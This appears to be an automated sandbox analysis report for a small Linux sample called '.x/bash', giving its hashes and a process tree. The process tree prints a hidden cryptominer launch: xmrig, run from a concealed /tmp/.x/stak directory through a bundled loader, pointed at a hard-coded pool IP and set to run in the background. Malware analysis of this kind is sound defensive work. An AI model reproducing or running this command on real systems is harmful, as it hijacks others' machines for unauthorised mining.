Analysis

  • max time kernel
    0s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/08/2026, 00:10

General

  • Target
    .x/bash
  • Size 211B
  • Sample260820-agg9gacj2s
  • SHA256 30068f74ddd41f4c343ca6b105f63466706f2af1b0c8c2a42e8b8703d0e8975f
  • MD5 SHA1 SHA512 TLSH
Score
1/10

Malware Config

Signatures

Processes

  • /tmp/.x/bash
    /tmp/.x/bash
    1⤵
      PID:672
      • /bin/readlink
        readlink -f /tmp/.x/bash
        2⤵
          PID:676
        • /usr/bin/dirname
          dirname /tmp/.x/bash
          2⤵
            PID:673
          • /tmp/.x/stak/ld-linux-x86-64.so.2
            /tmp/.x/stak/ld-linux-x86-64.so.2 --library-path /tmp/.x/stak /tmp/.x/stak/xmrig -o 204.93.253.180:80 --randomx-1gb-pages -k -B
            2⤵
              PID:680

          Network

                MITRE ATT&CK Matrix

                Replay Monitor

                Loading Replay Monitor...

                Downloads